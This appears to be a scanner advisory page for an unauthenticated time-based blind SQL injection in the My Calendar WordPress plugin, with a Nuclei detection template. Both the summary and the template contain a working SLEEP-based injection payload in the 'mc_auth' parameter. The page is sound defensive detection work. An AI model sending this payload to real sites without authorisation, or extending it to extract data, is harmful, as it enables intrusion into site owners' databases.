My Calendar < 3.7.9 - Unauthenticated SQL Injection

highseverity

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can extract sensitive database information, leading to data disclosure.

Fix

Update to the latest version of the My Calendar – Accessible Event Manager plugin.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/my-calendar/readme.txt
Positive when: contains "My Calendar"
Send: GET {{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json
Positive when: status_code >= 200 and contains(tolower(header), 'application/json')
Send: GET {{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json&mc_auth=1%2C2)%20OR%20SLEEP%287%29--%20x
Positive when: duration >= 7

Run it with nuclei: nuclei -id CVE-2026-6854 -u <target>

The full check

id: CVE-2026-6854

info:
  name: My Calendar < 3.7.9 - Unauthenticated SQL Injection
  author: Pauullamm
  severity: high
  description: |
    The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure.
  remediation: |
    Update to the latest version of the My Calendar – Accessible Event Manager plugin.
  reference:
    - https://wpscan.com/vulnerability/a6466f97-4d8a-4d01-b61f-94d89da7c16b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6854
  classification:
    cve-id: CVE-2026-6854
    epss-score: 0.01577
    epss-percentile: 0.75682
    cwe-id: CWE-89
  metadata:
    max-request: 3
    verified: true
  tags: cve,cve2026,sqli,wordpress,my-calendar

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "My Calendar"
        internal: true

    extractors:
      - type: regex
        name: my_calendar_version
        part: body
        group: 1
        regex:
          - "(?mi)^Stable tag:\\s*([0-9]+\\.[0-9]+\\.[0-9]+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json"

    matchers:
      - type: dsl
        dsl:
          - "status_code >= 200"
          - "contains(tolower(header), 'application/json')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?to=2026-09-12&from=2026-08-13&mc-api=json&mc_auth=1%2C2)%20OR%20SLEEP%287%29--%20x"

    matchers:
      - type: dsl
        dsl:
          - "duration >= 7"

References

Use this check only on systems you are authorised to test. Where the data comes from